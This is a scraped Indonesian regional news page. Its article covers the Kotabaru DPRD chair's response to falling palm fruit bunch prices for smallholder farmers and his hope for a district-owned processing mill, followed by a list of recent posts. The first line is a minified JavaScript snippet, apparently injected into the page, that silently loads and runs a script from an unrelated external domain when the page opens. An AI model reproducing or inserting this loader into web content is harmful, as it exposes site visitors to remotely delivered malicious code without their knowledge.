(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD KOTABARU

Harga TBS Anjlok, Ini Harapan Ketua DPRD Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Anjloknya harga Tandan Buah Segar (TBS) sawit membuat masyarakat khususnya mereka para petani sawit swadaya merasa dirugikan. Hal tersebut sempat membuat mereka melakukan aksi damai turun ke jalan guna menyampaikan aspirasi kepada pemerintah daerah.

Ketua DPRD Kotabaru Syairi Mukhlis merasa miris dengan situasinya, apalagi sempat terdengar kabar bahwa Pabrik Kelapa Sawit (PKS) tidak mau menerima TBS para petani sawit swadaya.

“Kita sama-sama mendengar ternyata masyarakat kita utamanya para petani sawit swadaya mengalami persoalan yang dinilai merugikan mereka dan itu harus di pikirkan bagaimana solusi terbaiknya,” tutur Syairi, Selasa (17/5/2022).

Oleh karenanya, dia berharap pemerintah daerah melalui perusahaan daerah (perusda) bisa membangun PKS sendiri guna memenuhi kebutuhan para petani sehingga kedepan tidak ada lagi permasalahan yang terjadi terkait dengan TBS.

 

Baca juga  : Tingkatkan Kualitas Keamanan Informasi, DKISP Banjar Gelar Bimtek

“Beberapa waktu lalu kita telah menggelar rapat bersama antara petani sawit, pemerintah daerah dan kebetulan saya berhadir, dan salah satu yang menjadi pembahasan adalah soal anjloknya harga TBS.

Saya sangat menyayangkan dengan kondisi yang dialami petani sawit kita di Kabupaten Kotabaru yang berimbas pada perekonomian mereka dan itu harus menjadi perhatian,” tambah dia.

Di samping itu, ada harapan lain yang disampaikannya adalah kepada organisasi yang mewadahi para petani sawit yaitu Asosiasi Petani Kelapa Sawit Indonesia (Apkasindo) cabang Kabupaten Kotabaru agar bisa memperjuangkan hak-hak para petani di Kabupaten Kotabaru.

Terkait dengan Permentan nomor 1, sambungnya lagi, Syairi mengharapkan agar bisa di evaluasi kembali jangan sampai ada diskriminatif antara petani sawit dan petani swadaya karena nantinya dinilai dapat memunculkan persoalan baru..

“Sekali lagi saya berharap, pemerintah daerah dengan perusdanya bisa membangun PKS sendiri untuk menjawab keresahan petani sawit swadaya sehingga nantinya mereka tidak merasa dirugikan lagi,” tutup dia. (kanalkalimantan.com/muhammad)

Reporter : Muhammad
Editor : Dhani


Desy Arfianty

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

13 jam ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

13 jam ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

13 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

14 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

14 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

16 jam ago

This website uses cookies.